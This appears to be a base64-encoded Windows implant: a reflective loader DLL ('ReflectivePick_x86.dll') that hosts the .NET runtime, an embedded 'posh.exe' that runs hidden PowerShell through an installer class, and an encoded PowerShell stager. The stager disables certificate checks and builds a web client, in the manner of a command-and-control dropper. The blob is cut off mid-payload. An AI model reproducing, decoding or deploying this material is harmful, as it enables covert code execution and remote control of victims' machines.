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A2P///wAAAAD+////iCIAEJsiABAAAAAA5P///wAAAADI////AAAAAP7////QKAAQ1igAEAAAAAAgKgAQAAAAABSTARABAAAAHJMBEAAAAAAo6AEQAAAAAP////8AAAAAEAAAAJApABD+////AAAAAND///8AAAAA/v///wAAAABoRgAQAAAAAC1GABA3RgAQ/v///wAAAACo////AAAAAP7///8AAAAApTwAEAAAAAD6OwAQBDwAEP7///8AAAAA2P///wAAAAD+////N0QAEDtEABAAAAAA/v///wAAAADY////AAAAAP7////cOgAQ5ToAEEAAAAAAAAAAAAAAAEw9ABD/////AAAAAP////8AAAAAAAAAAAAAAAABAAAAAQAAAMSTARAiBZMZAgAAANSTARABAAAA5JMBEAAAAAAAAAAAAAAAAAEAAAAAAAAA/v///wAAAADQ////AAAAAP7///9eRQAQYkUAEAAAAAB1HgAQAAAAAEyUARACAAAAWJQBEGySARAAAAAAROgBEAAAAAD/////AAAAAAwAAAAQOwAQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAACJVABAAAAAA/v///wAAAADU////AAAAAP7///8AAAAA52gAEAAAAADk////AAAAANT///8AAAAA/v///wAAAABRbAAQAAAAADlsABBJbAAQ/v///wAAAADU////AAAAAP7///8AAAAA0nIAEAAAAAD+////AAAAANT///8AAAAA/v///wAAAAAjcwAQAAAAAOT///8AAAAA1P///wAAAAD+////+3cAEP93ABAAAAAA/v///wAAAADQ////AAAAAP7///8AAAAAGIkAEAAAAAD+////AAAAAMT///8AAAAA/v///wAAAACjigAQAAAAAAAAAAB2igAQ/v///wAAAADU////AAAAAP7///8AAAAAo4wAEAAAAAD+////AAAAANj///8AAAAA/v///wAAAAB5lAAQAAAAAP7///8AAAAA2P///wAAAAD+////AAAAAIWTABAAAAAA/v///wAAAADY////AAAAAP7///8AAAAA5pMAEAAAAAD+////AAAAANj///8AAAAA/v///wAAAAAxlAAQAAAAAP7///8AAAAA2P///wAAAAD+////AAAAAJulABAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAeLAAEAAAAAD+////AAAAANj///8AAAAA/v///wAAAAApqwAQAAAAAOT///8AAAAAtP///wAAAAD+////AAAAAJ24ABAAAAAA/v///wAAAADU////AAAAAP7///8AAAAA8LUAEAAAAAD+////AAAAAND///8AAAAA/v///wAAAACYvAAQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAC69ABAAAAAA/v///wAAAADM////AAAAAP7///8AAAAAIMQAEAAAAAD+////AAAAAMz///8AAAAA/v///wAAAACWxwAQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAANHOABAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAgvcAEAAAAAD+////AAAAAMT///8AAAAA/v///wAAAADe+QAQAAAAAP7///8AAAAA2P///wAAAAD+////aR0BEHwdARAAAAAAAAAAAAAAAAAAAAAA+/uWWQAAAAAMmAEAAQAAAAIAAAACAAAA+JcBAACYAQAImAEAPxAAAN8WAAA3mAEAI5gBAAEAAABSZWZsZWN0aXZlUGlja194ODYuZGxsAF9SZWZsZWN0aXZlTG9hZGVyQDQAVm9pZEZ1bmMAnJkBAAAAAAAAAAAA0JkBAAwxAQDImQEAAAAAAAAAAADymQEAODEBAJCYAQAAAAAAAAAAALqeAQAAMAEAAAAAAAAAAAAAAAAAAAAAAAAAAADYnAEAqp4BAJyeAQCMngEAeJ4BAGqeAQBcngEAUJ4BAECeAQD+mQEAGpoBADiaAQBMmgEAYJoBAHyaAQCWmgEArJoBAMKaAQDcmgEA8poBAAabAQAYmwEALJsBADybAQBSmwEAaJsBAHSbAQCAmwEAkpsBAKqbAQC6mwEAypsBAOKbAQD6mwEAEpwBADqcAQBGnAEAVJwBAGKcAQBsnAEAepwBAIycAQCenAEArJwBAMKcAQAungEA5JwBAPCcAQAAnQEAEJ0BAB6dAQAonQEANJ0BAEidAQBYnQEAap0BAHadAQCCnQEAlJ0BAKadAQDAnQEA2p0BAOydAQD+nQEAEp4BAB6eAQAAAAAACQAAgAgAAICbAQCAGgAAgBYAAIAVAACAEAAAgA8AAIAGAACAAgAAgAAAAADemQEAAAAAAE9MRUFVVDMyLmRsbAAAAABDTFJDcmVhdGVJbnN0YW5jZQBtc2NvcmVlLmRsbACCBVVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAQwVTZXRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIACQJHZXRDdXJyZW50UHJvY2VzcwBhBVRlcm1pbmF0ZVByb2Nlc3MAAG0DSXNQcm9jZXNzb3JGZWF0dXJlUHJlc2VudAAtBFF1ZXJ5UGVyZm9ybWFuY2VDb3VudGVyAAoCR2V0Q3VycmVudFByb2Nlc3NJZAAOAkdldEN1cnJlbnRUaHJlYWRJZAAA1gJHZXRTeXN0ZW1UaW1lQXNGaWxlVGltZQBLA0luaXRpYWxpemVTTGlzdEhlYWQAZwNJc0RlYnVnZ2VyUHJlc2VudAC+AkdldFN0YXJ0dXBJbmZvVwBnAkdldE1vZHVsZUhhbmRsZVcAAFACR2V0TGFzdEVycm9yAADRA011bHRpQnl0ZVRvV2lkZUNoYXIAzQVXaWRlQ2hhclRvTXVsdGlCeXRlALIDTG9jYWxGcmVlAK0EUnRsVW53aW5kAEAEUmFpc2VFeGNlcHRpb24AAFQDSW50ZXJsb2NrZWRGbHVzaFNMaXN0AAsFU2V0TGFzdEVycm9yAAAhAUVuY29kZVBvaW50ZXIAJQFFbnRlckNyaXRpY2FsU2VjdGlvbgAAogNMZWF2ZUNyaXRpY2FsU2VjdGlvbgAABQFEZWxldGVDcml0aWNhbFNlY3Rpb24ASANJbml0aWFsaXplQ3JpdGljYWxTZWN0aW9uQW5kU3BpbkNvdW50AHMFVGxzQWxsb2MAAHUFVGxzR2V0VmFsdWUAdgVUbHNTZXRWYWx1ZQB0BVRsc0ZyZWUAngFGcmVlTGlicmFyeQCdAkdldFByb2NBZGRyZXNzAACnA0xvYWRMaWJyYXJ5RXhXAABRAUV4aXRQcm9jZXNzAGYCR2V0TW9kdWxlSGFuZGxlRXhXAABiAkdldE1vZHVsZUZpbGVOYW1lQQAAMwNIZWFwRnJlZQAALwNIZWFwQWxsb2MAlgNMQ01hcFN0cmluZ1cAAMACR2V0U3RkSGFuZGxlAAA+AkdldEZpbGVUeXBlAKQBR2V0QUNQAABoAUZpbmRDbG9zZQBtAUZpbmRGaXJzdEZpbGVFeEEAAH0BRmluZE5leHRGaWxlQQByA0l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A7wIqAIEAjAAqAAwALAOPABQAOgOfAIEARgOkAJkAWQOqAKEAbgMqAAkAdgOuAKkAhgOuALEAjADSABEAjAAqAAgABAAWAAgACAAbAC4ACwDdAC4AEwDmAGMAwwDXAF0AsgDNAJYBowGIAJgAAAEDAHAAAQAAAQUAgQACAASAAAAAAAAAAAAAAAAAAAAAAF8BAAAEAAAAAAAAAAAAAAABACIAAAAAAAQAAAAAAAAAAAAAAAoAOQAAAAAAAQAAAAAAAAAAAAAAYQDyAQAAAAACAAAAAAAAAAAAAAABACIAAAAAAAQAAAAAAAAAAAAAAAEAKwAAAAAAAAAAPE1vZHVsZT4AcG9zaC5leGUAUHJvZ3JhbQBTYW1wbGUAbXNjb3JsaWIAU3lzdGVtAE9iamVjdABTeXN0ZW0uQ29uZmlndXJhdGlvbi5JbnN0YWxsAEluc3RhbGxlcgBTV19ISURFAFNXX1NIT1cAR2V0Q29uc29sZVdpbmRvdwBTaG93V2luZG93AC5jdG9yAEludm9rZUF1dG9tYXRpb24AUG9zaE1TAFBvc2hNU1Byb3h5AE1haW4AU3lzdGVtLkNvbGxlY3Rpb25zAElEaWN0aW9uYXJ5AFVuaW5zdGFsbABoV25kAG5DbWRTaG93AGNtZABzYXZlZFN0YXRlAFN5c3RlbS5SdW50aW1lLkNvbXBpbGVyU2VydmljZXMAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBwb3NoAFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcwBEbGxJbXBvcnRBdHRyaWJ1dGUAa2VybmVsMzIuZGxsAHVzZXIzMi5kbGwAU3lzdGVtLlRleHQARW5jb2RpbmcAZ2V0X1VuaWNvZGUAQ29udmVydABGcm9tQmFzZTY0U3RyaW5nAEdldFN0cmluZwBTeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uAFN5c3RlbS5NYW5hZ2VtZW50LkF1dG9tYXRpb24uUnVuc3BhY2VzAFJ1bnNwYWNlRmFjdG9yeQBSdW5zcGFjZQBDcmVhdGVSdW5zcGFjZQBPcGVuAFJ1bnNwYWNlSW52b2tlAFBpcGVsaW5lAENyZWF0ZVBpcGVsaW5lAENvbW1hbmRDb2xsZWN0aW9uAGdldF9Db21tYW5kcwBBZGRTY3JpcHQAU3lzdGVtLkNvbGxlY3Rpb25zLk9iamVjdE1vZGVsAENvbGxlY3Rpb25gMQBQU09iamVjdABJbnZva2UAQ2xvc2UAU3RyaW5nQnVpbGRlcgBTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYwBJRW51bWVyYXRvcmAxAEdldEVudW1lcmF0b3IAZ2V0X0N1cnJlbnQAQXBwZW5kAElFbnVtZXJhdG9yAE1vdmVOZXh0AElEaXNwb3NhYmxlAERpc3Bvc2UAVG9TdHJpbmcAU3RyaW5nAFRyaW0AU3lzdGVtLkNvbXBvbmVudE1vZGVsAFJ1bkluc3RhbGxlckF0dHJpYnV0ZQAAAJkhVwB3AEIAVABBAEgAawBBAGMAdwBCADAAQQBHAFUAQQBiAFEAQQB1AEEARQA0AEEAWgBRAEIAMABBAEMANABBAFUAdwBCAGwAQQBIAEkAQQBkAGcAQgBwAEEARwBNAEEAWgBRAEIAUQBBAEcAOABBAGEAUQBCAHUAQQBIAFEAQQBUAFEAQgBoAEEARwA0AEEAWQBRAEIAbgBBAEcAVQBBAGMAZwBCAGQAQQBEAG8AQQBPAGcAQgBUAEEARwBVAEEAYwBnAEIAMgBBAEcAVQBBAGMAZwBCAEQAQQBHAFUAQQBjAGcAQgAwAEEARwBrAEEAWgBnAEIAcABBAEcATQBBAFkAUQBCADAAQQBHAFUAQQBWAGcAQgBoAEEARwB3AEEAYQBRAEIAawBBAEcARQBBAGQAQQBCAHAAQQBHADgAQQBiAGcAQgBEAEEARwBFAEEAYgBBAEIAcwBBAEcASQBBAFkAUQBCAGoAQQBHAHMAQQBJAEEAQQA5AEEAQwBBAEEAZQB3AEEAawBBAEgAUQBBAGMAZwBCADEAQQBHAFUAQQBmAFEAQQBOAEEAQQBvAEEAWgBnAEIAMQBBAEcANABBAFkAdwBCADAAQQBHAGsAQQBiAHcAQgB1AEEAQwBBAEEAUgB3AEIAbABBAEgAUQBBAEwAUQBCAFgAQQBHAFUAQQBZAGcAQgBqAEEARwB3AEEAYQBRAEIAbABBAEcANABBAGQAQQBBAGcAQQBDAGcAQQBKAEEAQgBEAEEARwA4AEEAYgB3AEIAcgBBAEcAawBBAFoAUQBBAHAAQQBDAEEAQQBlAHcAQQBOAEEAQQBvAEEASgBBAEIAawBBAEMAQQBBAFAAUQBBAGcAQQBDAGcAQQBSAHcAQgBsAEEASABRAEEATABRAEIARQBBAEcARQBBAGQAQQBCAGwAQQBDAEEAQQBMAFEAQgBHAEEARwA4AEEAYwBnAEIAdABBAEcARQBBAGQAQQBBAGcAQQBDAEkAQQBaAEEAQgBrAEEAQwA4AEEAVABRAEIATgBBAEMAOABBAGUAUQBCADUAQQBIAGsAQQBlAFEAQQBpAEEAQwBrAEEATwB3AEEATgBBAEEAbwBBAEoAQQBCAGsAQQBDAEEAQQBQAFEAQQBnAEEARgBzAEEAWgBBAEIAaABBAEgAUQBBAFoAUQBCADAAQQBHAGsAQQBiAFEAQgB